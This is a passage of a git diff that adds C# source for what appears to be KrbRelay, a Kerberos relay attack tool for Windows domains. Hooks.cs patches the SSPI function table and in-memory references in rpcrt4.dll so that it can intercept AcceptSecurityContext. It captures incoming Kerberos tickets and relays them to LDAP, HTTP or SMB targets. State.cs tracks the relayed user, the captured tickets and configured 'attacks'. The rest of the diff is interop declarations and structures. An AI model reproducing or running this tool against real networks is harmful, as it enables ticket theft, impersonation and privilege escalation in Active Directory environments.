+ Array.Copy(bytes, i, match, 0, patternLength); + if (match.SequenceEqual(pattern)) + { + positions.Add(i); + i += patternLength - 1; + } + } + } + return positions; + } + + public static byte[] Combine(params byte[][] arrays) + { + byte[] ret = new byte[arrays.Sum(x => x.Length)]; + int offset = 0; + foreach (byte[] data in arrays) + { + Buffer.BlockCopy(data, 0, ret, offset, data.Length); + offset += data.Length; + } + return ret; + } + + public static int PatternAt(byte[] src, byte[] pattern, bool firstMatch = false) + { + int maxFirstCharSlot = src.Length - pattern.Length + 1; + for (int i = 0; i < maxFirstCharSlot; i++) + { + if (src[i] != pattern[0]) // compare only first byte + continue; + if (firstMatch == true) + return i; + // found a match on first byte, now try to match rest of the pattern + for (int j = pattern.Length - 1; j >= 1; j--) + { + if (src[i + j] != pattern[j]) + break; + if (j == 1) + return i; + } + } + return -1; + } + + internal static IEnumerable GetPointerArray(IntPtr array) + { + if (array != IntPtr.Zero) + { + var count = 0; + var tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); + while (tempPtr != IntPtr.Zero) + { + yield return tempPtr; + count++; + tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); + } + } + } + + internal static IntPtr AllocHGlobalIntPtrArray(int size) + { + checked + { + var intPtrArray = Marshal.AllocHGlobal(IntPtr.Size * size); + for (var i = 0; i < size; i++) + { + Marshal.WriteIntPtr(intPtrArray, IntPtr.Size * i, IntPtr.Zero); + } + + return intPtrArray; + } + } + + internal static void StructureArrayToPtr( + IEnumerable array, + IntPtr ptr, + bool endNull = false + ) + { + var ptrArray = array + .Select( + structure => + { + var structPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T))); + Marshal.StructureToPtr(structure, structPtr, false); + return structPtr; + } + ) + .ToList(); + if (endNull) + { + ptrArray.Add(IntPtr.Zero); + } + + Marshal.Copy(ptrArray.ToArray(), 0, ptr, ptrArray.Count); + } + + internal static void ByteArraysToBerValueArray(byte[][] sourceData, IntPtr ptr) + { + for (var i = 0; i < sourceData.Length; i++) + { + var berPtr = ByteArrayToBerValue(sourceData[i]); + Marshal.WriteIntPtr(ptr, i * IntPtr.Size, berPtr); + } + + Marshal.WriteIntPtr(ptr, sourceData.Length * IntPtr.Size, IntPtr.Zero); + } + + internal static IntPtr ByteArrayToBerValue(byte[] bytes) + { + var berPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(berval))); + var valPtr = Marshal.AllocHGlobal(bytes.Length); + Marshal.Copy(bytes, 0, valPtr, bytes.Length); + Marshal.StructureToPtr( + new berval { bv_val = valPtr, bv_len = bytes.Length }, + berPtr, + true + ); + return berPtr; + } + + internal static void BerValFree(IntPtr berval) + { + if (berval != IntPtr.Zero) + { + var b = (berval)Marshal.PtrToStructure(berval, typeof(berval)); + Marshal.FreeHGlobal(b.bv_val); + Marshal.FreeHGlobal(berval); + } + } + + internal static void BerValuesFree(IntPtr array) + { + foreach (var ptr in GetPointerArray(array)) + { + BerValFree(ptr); + } + } + + public static List BerValArrayToByteArrays(IntPtr ptr) + { + var result = new List(); + foreach (var tempPtr in GetPointerArray(ptr)) + { + var bervalue = new berval(); + Marshal.PtrToStructure(tempPtr, bervalue); + if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) + { + var byteArray = new byte[bervalue.bv_len]; + Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len); + result.Add(byteArray); + } + } + + return result; + } + } +} diff --git a/KrbRelay/Common/Hooks.cs b/KrbRelay/Common/Hooks.cs new file mode 100644 index 0000000..1ae4780 --- /dev/null +++ b/KrbRelay/Common/Hooks.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using KrbRelay.Clients; + +// Handles the installation of hooks for SSPI functions (currently only AcceptSecurityContext). +// +// It will update both the function table in sspicli and search for existing references in +// modules that are already loaded - Hook(searchModules). On dispose, it will reset all addresses. + +namespace KrbRelay +{ + class SSPIHooks + { + private bool hooked = false; + private IntPtr tablePtr; + private SecurityFunctionTable table; + private Dictionary resets = new Dictionary(); + private Dictionary hooks; + + public unsafe SSPIHooks() + { + tablePtr = Interop.InitSecurityInterface(); + table = Marshal.PtrToStructure(tablePtr); + hooks = new Dictionary() + { + { + "AcceptSecurityContext", + (AcceptSecurityContextFunc)this.AcceptSecurityContext + } + }; + } + + ~SSPIHooks() + { + Unhook(); + } + + public unsafe void Hook(string[] searchModules = null) + { + Console.WriteLine("[*] Applying SSPI hooks"); + + Dictionary installed = new Dictionary(); + + searchModules = searchModules ?? new string[] { "rpcrt4.dll" }; + + foreach (var hook in hooks) + { + IntPtr functionPtr = tablePtr + Helpers.FieldOffset(hook.Key); + IntPtr hookFunction = Marshal.GetFunctionPointerForDelegate(hook.Value); + IntPtr originalFunction = Marshal.ReadIntPtr(functionPtr); + + Marshal.WriteIntPtr(functionPtr, hookFunction); + installed[originalFunction] = hookFunction; + resets[functionPtr] = originalFunction; + + Console.WriteLine(" |- sspicli.dll!SecTableW->{0} [0x{1:X8}]", hook.Key, functionPtr); + } + + foreach (var module in searchModules) + { + IMAGE_SECTION_HEADER dataSection = new IMAGE_SECTION_HEADER(); + + IntPtr moduleBase = Interop.GetModuleHandle(module); + if (moduleBase == IntPtr.Zero) + continue; + + // Get the data directory pointer + size + + var dosHeader = Marshal.PtrToStructure(moduleBase); + var ntHeader = Marshal.PtrToStructure( + (IntPtr)(moduleBase.ToInt64() + dosHeader.e_lfanew) + ); + + IntPtr sections = (IntPtr)( + moduleBase.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf() + ); + for (int i = 0; i < ntHeader.FileHeader.NumberOfSections; i++) + { + var section = Marshal.PtrToStructure( + sections + (i * Marshal.SizeOf()) + ); + if (new string(section.Name) == ".data") + { + dataSection = section; + break; + } + } + + if (dataSection.VirtualAddress == 0) + continue; + + // Search for references we need to hook + + foreach (var hook in installed) + { + for (int k = 0; k < dataSection.VirtualSize; k++) + { + IntPtr search = (IntPtr)( + moduleBase.ToInt64() + dataSection.VirtualAddress + k + ); + if (Marshal.ReadIntPtr(search) == hook.Key) + { + resets[search] = Marshal.ReadIntPtr(search); + Marshal.WriteIntPtr(search, hook.Value); + Console.WriteLine(" |- {0}->0x{1:X8}", module, search); + } + } + } + } + + Console.WriteLine(); + hooked = true; + } + + public void Unhook() + { + if (hooked) + { + Console.WriteLine("[*] Removing SSPI hooks"); + + foreach (var reset in resets) + { + Marshal.WriteIntPtr(reset.Key, reset.Value); + Console.WriteLine(" |- 0x{0:X8}", reset.Key); + } + hooked = false; + } + } + + public unsafe SecurityStatusCode AcceptSecurityContext( + SspiHandle* phCredential, + SspiHandle* phContext, // This might be null on first call, ref hates that + SecurityBufferDescriptor* pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsTimeStamp + ) + { + SecurityStatusCode result = SecurityStatusCode.InternalError; + + // Get kerberos tickets sent to our com server + + if (State.apRep1.Length == 0) + { + byte[] ticket = Helpers.ConvertApReq(pInput->GetTokenBytes()); + State.UpdateApReq(ticket); + + var pPlaceholder = new SecurityBufferDescriptor(12288); + result = Interop.AcceptSecurityContext( + ref *phCredential, + ref *phContext, + ref *pInput, + fContextReq, + TargetDataRep, + ref *phNewContext, + ref pPlaceholder, + ref *pfContextAttr, + ref *ptsTimeStamp + ); + + Console.WriteLine("[*] AcceptSecurityContext: {0}", result); + Console.WriteLine(" |- Context Flags: {0}", fContextReq); + } + else if (State.apRep2.Length == 0) + { + State.UpdateApRep2(pInput->GetTokenBytes()); + } + else + { + Console.WriteLine("[*] AcceptSecurityContext hook returning {0}", result); + return result; + } + + string service = State.spn.Split('/').First(); + if (service.ToLower() == "ldap") + { + Ldap.Connect(); + } + else if (service.ToLower() == "http") + { + Http.Connect(); + } + else if (service.ToLower() == "cifs") + { + Smb.Connect(); + } + + if (State.apRep1.Length == 0) + { + Console.WriteLine("[!] apRep1 is empty!"); + return result; + } + + if (State.apRep2.Length == 0) + { + pOutput->UpdateTokenBytes(State.apRep1); + } + + return result; + } + } +} diff --git a/KrbRelay/Common/State.cs b/KrbRelay/Common/State.cs new file mode 100644 index 0000000..e4dcaf3 --- /dev/null +++ b/KrbRelay/Common/State.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; + +// Manages the shared state accross the project, obviously global vars aren't the best +// solution, but works pretty well given how many different components share things +// like kerberos tickets for relays + +namespace KrbRelay +{ + static class State + { + // LDAP + public static SspiHandle ldap_CredHandle = new SspiHandle(); // Credential handle + public static IntPtr ld = IntPtr.Zero; // Open handle for LDAP APIs + + // Relay + public static byte[] apReq = new byte[] { }; + public static byte[] apRep1 = new byte[] { }; + public static byte[] apRep2 = new byte[] { }; + public static byte[] ticket = new byte[] { }; + + // Parameters + public static string spn = ""; + public static string relayedUser = ""; + public static string relayedUserDomain = ""; + public static string domainDN = ""; + public static string targetFQDN = ""; + public static bool useSSL = false; + public static Dictionary attacks = new Dictionary(); + + // Syncronization + public static bool stopSpoofing = false; + + public static void UpdateApReq(byte[] bytes) + { + apReq = bytes; + ticket = bytes; + + if (bytes[0] != 0x60) + { + Console.WriteLine("[-] Recieved invalid apReq, exploit will fail"); + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); + } else + { + Console.WriteLine("[*] Got initial AP_REQ"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + } + + public static void UpdateApRep1(byte[] bytes) + { + apRep1 = bytes; + Console.WriteLine("[*] Got first AP_REP"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + + public static void UpdateApRep2(byte[] bytes) + { + apRep2 = bytes; + ticket = bytes; + Console.WriteLine("[*] Got second AP_REP"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + } +} diff --git a/KrbRelay/Interop/Interop.cs b/KrbRelay/Interop/Interop.cs new file mode 100644 index 0000000..61eed61 --- /dev/null +++ b/KrbRelay/Interop/Interop.cs @@ -0,0 +1,317 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +// Contains all the DllImport declarations for native functions used throughout +// the project. Prefer minimal attributes (EntryPoint, CharSet, Convetion, etc.) +// where possible and defined structures as arguments over basic IntPtrs. + +namespace KrbRelay +{ + public class Interop + { + // LDAP + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern uint ldap_set_option(IntPtr ld, uint option, ref uint invalue); + + [DllImport("wldap32",CallingConvention = CallingConvention.Cdecl)] + internal static extern uint ldap_set_option(IntPtr ld, uint option, IntPtr pointer); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern uint ldap_connect(IntPtr ld, LDAP_TIMEVAL timeout); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_init(string hostname, uint port); + + [DllImport( + "wldap32", + EntryPoint = "ldap_sasl_bind_s", + CallingConvention = CallingConvention.Cdecl + )] + internal static extern int ldap_sasl_bind( + [In] IntPtr ld, + string dn, + string mechanism, + IntPtr cred, + IntPtr serverctrls, + IntPtr clientctrls, + out IntPtr msgidp + ); + + [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_get_option(IntPtr ld, int option, out int value); + + [DllImport( + "wldap32", + CharSet = CharSet.Unicode, + CallingConvention = CallingConvention.Cdecl + )] + internal static extern int ldap_search( + IntPtr ld, + string @base, + int scope, + string filter, + IntPtr attrs, + int attrsonly + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_result( + IntPtr ld, + int msgid, + int all, + LDAP_TIMEVAL timeout, + ref IntPtr pMessage + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_first_entry(IntPtr ld, IntPtr pMessage); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_entry(IntPtr ld, IntPtr pMessage); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_get_dn(IntPtr ld, IntPtr message); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_first_attribute( + IntPtr ld, + IntPtr entry, + ref IntPtr ppBer + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_attribute( + IntPtr ld, + IntPtr entry, + ref IntPtr ppBer + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, IntPtr ppBer); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_get_values_len(IntPtr ld, IntPtr entry, IntPtr pBer); + + [DllImport( + "wldap32", + EntryPoint = "ldap_modify_s", + CharSet = CharSet.Unicode, + CallingConvention = CallingConvention.Cdecl + )] + internal static extern int ldap_modify(IntPtr ld, string dn, IntPtr mods); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_unbind(IntPtr ld); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern void ldap_value_free_len(IntPtr vals); + + // Session + + [DllImport("Wtsapi32.dll")] + internal static extern bool WTSQuerySessionInformation( + IntPtr hServer, + int sessionId, + WtsInfoClass wtsInfoClass, + out System.IntPtr ppBuffer, + out uint pBytesReturned + ); + + // Encryption + + [DllImport( + "advapi32.dll", + EntryPoint = "SystemFunction018", + SetLastError = true, + CallingConvention = CallingConvention.StdCall + )] + private static extern uint RtlEncryptNtOwfPwdWithNtSesKey( + [In] byte[] ntOwfPassword, + [In] ref byte[] sessionkey, + [In, Out] byte[] encryptedNtOwfPassword + ); + + [DllImport( + "advapi32.dll", + EntryPoint = "SystemFunction018", + SetLastError = true, + CallingConvention = CallingConvention.StdCall + )] + private static extern uint RtlEncryptNtOwfPwdWithNtSesKey( + [In] byte[] ntOwfPassword, + [In] byte[] sessionkey, + [In, Out] byte[] encryptedNtOwfPassword + ); + + internal static uint RtlEncryptNtOwfPwdWithNtSesKey( + byte[] ntOwfPassword, + byte[] sessionkey, + out byte[] encryptedNtOwfPassword + ) + { + encryptedNtOwfPassword = new byte[16]; + return RtlEncryptNtOwfPwdWithNtSesKey( + ntOwfPassword, + ref sessionkey, + encryptedNtOwfPassword + ); + } + + // SSPI + + [DllImport("Secur32.dll")] + internal unsafe static extern SecurityStatusCode AcceptSecurityContext( + ref SspiHandle phCredential, + ref SspiHandle phContext, + ref SecurityBufferDescriptor pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + ref SspiHandle phNewContext, + ref SecurityBufferDescriptor pOutput, + ref uint pfContextAttr, + ref LARGE_INTEGER ptsTimeStamp + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode AcquireCredentialsHandle( + string pszPrincipal, + string pszPackage, // "Kerberos","NTLM","Negotiative" + uint fCredentialUse, + IntPtr pvLogonID, + IntPtr pAuthData, + IntPtr pGetKeyFn, + IntPtr pvGetKeyArgument, + ref SspiHandle phCredential, + ref LARGE_INTEGER ptsExpiry + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode InitializeSecurityContext( + ref SspiHandle phCredential, + ref SspiHandle phContext, + string pszTargetName, + uint fContextReq, + uint Reserved1, + uint TargetDataRep, + ref SecurityBufferDescriptor pInput, + uint Reserved2, + ref SspiHandle phNewContext, + ref SecurityBufferDescriptor pOutput, + ref uint pfContextAttr, + ref LARGE_INTEGER ptsExpiry + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode QueryContextAttributes( + ref SspiHandle phContext, + uint ulAttribute, + IntPtr pValue + ); + + [DllImport("Secur32.dll")] + internal static extern uint DeleteSecurityContext(ref SspiHandle phContext); + + [DllImport("sspicli.dll", EntryPoint = "InitSecurityInterfaceW")] + internal static extern IntPtr InitSecurityInterface(); + + [DllImport("Secur32.dll")] + internal static extern uint FreeContextBuffer(IntPtr pvContextBuffer); + + [DllImport("Secur32.dll")] + internal static extern uint FreeCredentialsHandle(ref SspiHandle phCredential); + + // WinAPI + + [DllImport("ntdll.dll")] + internal static extern UInt32 NtQueryInformationProcess( + IntPtr processHandle, + UInt32 processInformationClass, + ref PROCESS_BASIC_INFORMATION processInformation, + int processInformationLength, + ref UInt32 returnLength + ); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32", SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true)] + [PreserveSig] + internal static extern uint GetModuleFileName( + [In] IntPtr hModule, + [Out] StringBuilder lpFilename, + [In] [MarshalAs(UnmanagedType.U4)] int nSize + ); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesWritten + ); + + [DllImport("Advapi32.dll")] + internal static extern int RegOverridePredefKey(IntPtr hKey,IntPtr hNewHKey); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool ReadProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesRead + ); + + // RPC + [DllImport("rpcrt4.dll")] + internal static extern int RpcServerUseProtseqEp( + string Protseq, + uint MaxCalls, + string Endpoint, + IntPtr SecurityDescriptor + ); + + [DllImport( + "Rpcrt4.dll", + EntryPoint = "RpcServerRegisterAuthInfo", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, + SetLastError = true + )] + internal static extern int RpcServerRegisterAuthInfo( + String ServerPrincName, + uint AuthnSvc, + IntPtr GetKeyFn, + IntPtr Arg + ); + + // COM + + [DllImport("ole32.dll")] + internal static extern int CoInitializeSecurity( + IntPtr pSecDesc, + int cAuthSvc, + SOLE_AUTHENTICATION_SERVICE[] asAuthSvc, + IntPtr pReserved1, + AuthnLevel dwAuthnLevel, + ImpLevel dwImpLevel, + IntPtr pAuthList, + AuthenticationCapabilities dwCapabilities, + IntPtr pReserved3 + ); + + // Kerberos + + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + internal static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); + } +} diff --git a/KrbRelay/Interop/Kerberos.cs b/KrbRelay/Interop/Kerberos.cs new file mode 100644 index 0000000..fa2e326 --- /dev/null +++ b/KrbRelay/Interop/Kerberos.cs @@ -0,0 +1,62 @@ +using System; +using System.Runtime.InteropServices; + +// All enums, structs, and helper types related to Kerberos + +namespace KrbRelay +{ + // https://tools.ietf.org/html/rfc3961 + internal enum KERB_ETYPE : UInt32 + { + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + des3_cbc_md5 = 5, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1 = 17, + aes256_cts_hmac_sha1 = 18, + rc4_hmac = 23, + rc4_hmac_exp = 24, + subkey_keymaterial = 65 + } + + // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 + [StructLayout(LayoutKind.Sequential)] + internal struct KERB_ECRYPT + { + private int Type0; + public int BlockSize; + private int Type1; + public int KeySize; + public int Size; + private int unk2; + private int unk3; + public IntPtr AlgName; + public IntPtr Initialize; + public IntPtr Encrypt; + public IntPtr Decrypt; + public IntPtr Finish; + public IntPtr HashPassword; + private IntPtr RandomKey; + private IntPtr Control; + private IntPtr unk0_null; + private IntPtr unk1_null; + private IntPtr unk2_null; + }; + + internal delegate int KERB_ECRYPT_HashPassword( + UNICODE_STRING Password, + UNICODE_STRING Salt, + int count, + byte[] output + ); +} diff --git a/KrbRelay/Interop/Ldap.cs b/KrbRelay/Interop/Ldap.cs new file mode 100644 index 0000000..580c534 --- /dev/null +++ b/KrbRelay/Interop/Ldap.cs @@ -0,0 +1,165 @@ +using System; +using System.Runtime.InteropServices; + +// All enums, structs, and helper types related to LDAP + +namespace KrbRelay +{ + internal enum LdapModOperation + { + Add = 0x00, + Delete = 0x01, + Replace = 0x02, + BValues = 0x80 + } + + internal enum LdapSearchScope + { + Base = 0x0000, + BaseObject = Base, + One = 0x0001, + OneLevel = One, + Sub = 0x0002, + SubTree = Sub, + Subordinate = 0x0003, /* OpenLDAP extension */ + Children = Subordinate, + Default = -1, /* OpenLDAP extension */ + } + + internal enum LdapResultType + { + Error = -1, + Timeout = 0, + Bind = 0x61, + SearchEntry = 0x64, + SearchReference = 0x73, + SearchResult = 0x65, + Modify = 0x67, + Add = 0x69, + Delete = 0x6b, + Moddn = 0x6d, + Compare = 0x6f, + Extended = 0x78, + Intermediate = 0x79 + } + + internal enum LdapStatus + { + Success = 0, + OperationsError = 1, + ProtocolError = 2, + TimelimitExceeded = 3, + SizelimitExceeded = 4, + CompareFalse = 5, + CompareTrue = 6, + AuthMethodNotSupported = 7, + StrongAuthRequired = 8, + Referral = 9, + AdminLimitExceeded = 11, + UnavailableCriticalExtension = 12, + ConfidentialityRequired = 13, + SaslBindInProgress = 14, + NoSuchAttribute = 16, + UndefinedType = 17, + InappropriateMatching = 18, + ConstraintViolation = 19, + TypeOrValueExists = 20, + InvalidSyntax = 21, + NoSuchObject = 32, + AliasProblem = 33, + InvalidDnSyntax = 34, + IsLeaf = 35, + AliasDerefProblem = 36, + InappropriateAuth = 48, + InvalidCredentials = 49, + InsufficientAccess = 50, + Busy = 51, + Unavailable = 52, + UnwillingToPerform = 53, + LoopDetect = 54, + NamingViolation = 64, + ObjectClassViolation = 65, + NotAllowedOnNonleaf = 66, + NotAllowedOnRdn = 67, + AlreadyExists = 68, + NoObjectClassMods = 69, + ResultsTooLarge = 70, + AffectsMultipleDsas = 71, + Other = 80, + ServerDown = -1, + LocalError = -2, + EncodingError = -3, + DecodingError = -4, + Timeout = -5, + AuthUnknown = -6, + FilterError = -7, + UserCancelled = -8, + ParamError = -9, + NoMemory = -10, + ConnectError = -11, + NotSupported = -12, + ControlNotFound = -13, + NoResultsReturned = -14, + MoreResultsToReturn = -15, + ClientLoop = -16, + ReferralLimitExceeded = -17, + } + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + internal delegate bool VERIFYSERVERCERT(IntPtr connection, IntPtr pServerCert); + + [StructLayout(LayoutKind.Sequential)] + internal class berval + { + public int bv_len; + public IntPtr bv_val = IntPtr.Zero; + } + + [StructLayout(LayoutKind.Sequential)] + public sealed class LDAP_TIMEVAL + { + public int tv_sec; + public int tv_usec; + } + + //https://github.com/go-win/go-windows/blob/3c4cf4813fb68a44704529efb5f5c78ecbb1b380/windows/win32/ldap/enums.go#L11 + + [StructLayout(LayoutKind.Sequential)] + internal class LDAPMod + { + /// + /// Values that you want to add, delete, or replace. + /// + [StructLayout(LayoutKind.Explicit)] + public struct mod_vals + { + /// + /// Pointer to a NULL terminated array of string values for the attribute. + /// + [FieldOffset(0)] + public IntPtr modv_strvals; + + /// + /// Pointer to a NULL-terminated array of berval structures for the attribute. + /// + [FieldOffset(0)] + public IntPtr modv_bvals; + } + + /// + /// The operation to be performed on the attribute and the type of data specified as the attribute values. + /// + public int mod_op; + + /// + /// Pointer to the attribute type that you want to add, delete, or replace. + /// + public IntPtr mod_type; + + /// + /// A NULL-terminated array of string values for the attribute. + /// + public mod_vals mod_vals_u; + public IntPtr mod_next; + } +} diff --git a/KrbRelay/Interop/Misc.cs b/KrbRelay/Interop/Misc.cs new file mode 100644 index 0000000..ce7b7f3 --- /dev/null +++ b/KrbRelay/Interop/Misc.cs @@ -0,0 +1,91 @@ +using System; +using System.Runtime.InteropServices; + +// All enums, structs, and helper types not specifically fitting into another file + +namespace KrbRelay +{ + internal enum AuthenticationCapabilities + { + None = 0, + MutualAuth = 0x1, + StaticCloaking = 0x20, + DynamicCloaking = 0x40, + AnyAuthority = 0x80, + MakeFullsic = 0x100, + Default = 0x800, + SecureRefs = 0x2, + AccessControl = 0x4, + Appid = 0x8, + Dynamic = 0x10, + RequireFullsic = 0x200, + AutoImpersonate = 0x400, + NoCustomMarshal = 0x2000, + DisableAaa = 0x1000 + } + + internal struct SOLE_AUTHENTICATION_SERVICE + { + public int dwAuthnSvc; + public int dwAuthzSvc; + + [MarshalAs(UnmanagedType.LPWStr)] + public string pPrincipalName; + public int hr; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + internal struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public int InheritedFromUniqueProcessId; + + public int Size + { + get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct LARGE_INTEGER + { + public uint LowPart; + public int HighPart; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + }; +} diff --git a/KrbRelay/Interop/PE.cs b/KrbRelay/Interop/PE.cs new file mode 100644 index 0000000..82ae90d --- /dev/null +++ b/KrbRelay/Interop/PE.cs @@ -0,0 +1,155 @@ +using System; +using System.Runtime.InteropServices; + +// All enums, structs, and helper types related to PE files + +namespace KrbRelay +{ + // https://gist.github.com/augustoproiete/b51f29f74f5f5b2c59c39e47a8afc3a3 + + public struct IMAGE_DOS_HEADER + { + public UInt16 e_magic; // Magic number + public UInt16 e_cblp; // Bytes on last page of file + public UInt16 e_cp; // Pages in file + public UInt16 e_crlc; // Relocations + public UInt16 e_cparhdr; // Size of header in paragraphs + public UInt16 e_minalloc; // Minimum extra paragraphs needed + public UInt16 e_maxalloc; // Maximum extra paragraphs needed + public UInt16 e_ss; // Initial (relative) SS value + public UInt16 e_sp; // Initial SP value + public UInt16 e_csum; // Checksum + public UInt16 e_ip; // Initial IP value + public UInt16 e_cs; // Initial (relative) CS value + public UInt16 e_lfarlc; // File address of relocation table + public UInt16 e_ovno; // Overlay number + public UInt16 e_res_0; // Reserved words + public UInt16 e_res_1; // Reserved words + public UInt16 e_res_2; // Reserved words + public UInt16 e_res_3; // Reserved words + public UInt16 e_oemid; // OEM identifier (for e_oeminfo) + public UInt16 e_oeminfo; // OEM information; e_oemid specific + public UInt16 e_res2_0; // Reserved words + public UInt16 e_res2_1; // Reserved words + public UInt16 e_res2_2; // Reserved words + public UInt16 e_res2_3; // Reserved words + public UInt16 e_res2_4; // Reserved words + public UInt16 e_res2_5; // Reserved words + public UInt16 e_res2_6; // Reserved words + public UInt16 e_res2_7; // Reserved words + public UInt16 e_res2_8; // Reserved words + public UInt16 e_res2_9; // Reserved words + public UInt32 e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public UInt32 VirtualAddress; + public UInt32 Size; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public IntPtr ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public IntPtr SizeOfStackReserve; + public IntPtr SizeOfStackCommit; + public IntPtr SizeOfHeapReserve; + public IntPtr SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public 